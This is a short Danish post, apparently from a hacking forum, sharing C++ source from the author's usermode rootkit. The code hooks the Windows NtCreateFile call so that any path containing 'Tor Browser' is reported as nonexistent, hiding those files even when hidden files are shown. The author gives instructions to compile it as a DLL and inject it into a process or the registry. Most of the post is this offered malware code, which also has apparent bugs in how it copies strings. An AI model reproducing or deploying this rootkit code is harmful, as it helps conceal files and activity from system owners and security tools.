Denne kode skjuler en fil fuldstændigt, complie som et dynamisk library, du kan injekte den direkte ind i en process eller registry.
Vi tager brug af windows API'en til at gøre filen fuldstændigt skjult om så du prøver at vise skjulte filer, dette er noget kode jeg har skrevet til mit usermode rootkit.
Nyd det
#define STATUS_SUCCESS 0x00000000
#define STATUS_ERROR 0xFFFFFFFF
#define FILE_DOES_NOT_EXIST 0x00000005
_NtCreateFileNext NtCreateFileNext = 0;
NTSTATUS NtCreateFileHooked( _Out_ PHANDLE FileHandle ,
_In_ ACCESS_MASK DesiredAccess ,
_In_ POBJECT_ATTRIBUTES ObjectAttributes ,
_Out_ PIO_STATUS_BLOCK IoStatusBlock ,
_In_opt_ PLARGE_INTEGER AllocationSize ,
_In_ ULONG FileAttributes ,
_In_ ULONG ShareAccess ,
_In_ ULONG CreateDisposition ,
_In_ ULONG CreateOptions ,
_In_ PVOID EaBuffer ,
_In_ ULONG EaLength )
{
NTSTATUS status = NtCreateFileNext ( FileHandle , DesiredAccess , ObjectAttributes , IoStatusBlock ,
AllocationSize , FileAttributes , ShareAccess , CreateDisposition ,
CreateOptions , EaBuffer , EaLength );
if ( status == STATUS_SUCCESS )
{
wchar_t * path = new wchar_t [ ObjectAttributes->ObjectName->Length + 1 ];
wmemcpy ( path , ObjectAttributes->ObjectName->Buffer , ObjectAttributes->ObjectName->Length );
if ( StrStrW( path , L"Tor Browser" ) )
{
std::wcout << L"-> " << path << std::endl;
IoStatusBlock->Information = FILE_DOES_NOT_EXIST;
IoStatusBlock->Status = STATUS_ERROR;
IoStatusBlock->Pointer = NULL;
return STATUS_ERROR;
}
}
return status;
}